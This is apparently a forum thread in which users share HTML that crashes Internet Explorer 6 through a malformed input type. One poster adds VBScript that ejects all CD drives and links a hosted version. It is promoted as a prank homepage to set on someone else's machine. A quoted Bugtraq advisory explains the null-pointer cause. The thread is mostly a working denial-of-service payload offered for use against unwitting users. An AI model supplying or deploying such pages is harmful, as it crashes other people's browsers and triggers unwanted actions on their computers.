Gotta love IE...

[urbandev]

Lovely little IE fuck up...
CODE

this will crash IE 6+

edit: look a few posts down for the HTML which will crash IE

[gamer715]

I'm running IE 6 and all i see it a blank text entry box...

i'd like to see this work though it would be a great prank, set that as someones homepage and presto!

[platypus]

Not sure what code is in your box, but these 5 lines will crash IE6.
I left off the <'s and you can basically replace the word 'crash' with any unrecognized word.

html>
form>
input type crash>
/form>
/html>

[thecow]

Originally posted by platypus
Not sure what code is in your box, but these 5 lines will crash IE6.
I left off the <'s and you can basically replace the word 'crash' with any unrecognized word.

html>
form>
input type crash>
/form>
/html>

Man, you weren't kidding. Took my work comp a few minutes to choke through the errors. My comp science teachers are always telling me to expect bad input from users, guess nobody up in redmond heard that advise before, .

[gamer715]

Heh, combine this with the CD-drive open file and you get a CD-Opening, IE-Crashing home page... beginning carets removed of course...

html>
SCRIPT language=VBScript>
(PUTAOPENCARETHERE)!--
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection


if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
--(PUTACLOSECARETHERE)
/SCRIPT>
form>
input type crash>
/form>
/html>

Of course, replace the (PUTAOPENCARETHERE) and (PUTACLOSECARETTHERE) appropriately...

Or, to download this little bugger or see it live:
click here, or right click there and hit save target as to save.

[juanvaldes]

now now, it's not there fault they use what's default. And no warning == bad mojo.

[charliex]

hmm i tried the link on my ie gamer, didn't do anything cept pop out the cd and show a text box, which i entered text into
ie6 2800 sp2 xp, no crashes.

[gamer715]

charlie, link's fixed now. 50megs was messing it up, had to move it to brinkster. please note that it won't close IE altogether, just the window it's trying to open in...

[urbandev]

it only works(that ive seen) on IE6.0+

[charliex]

yep, that err fixed it , crashed alright.

buqtraq info. just for the heck of it ->

IE tries to compare the type of the input field to "HIDDEN", to see if it
should be rendered. When there is no type string, a null-pointer is used.

mshtml.dll calls shlwapi.dll#158 @ 0x636f0037 with a pointer to a static
unicode string "HIDDEN" and a null-pointer.
shlwapi.dll#158 does a case-insensitive comparison of two unicode strings:
it reads from address 0x0 because of the null-pointer and thus causes an
exception.
This is not exploitable, other then a DoS because there is no memory mapped
@ 0x0 and even if you could load something there, you could only compare it
to "HIDDEN" which gets you nowhere.

Berend-Jan Wever
----

luckily you can just exit out of that function with a debugger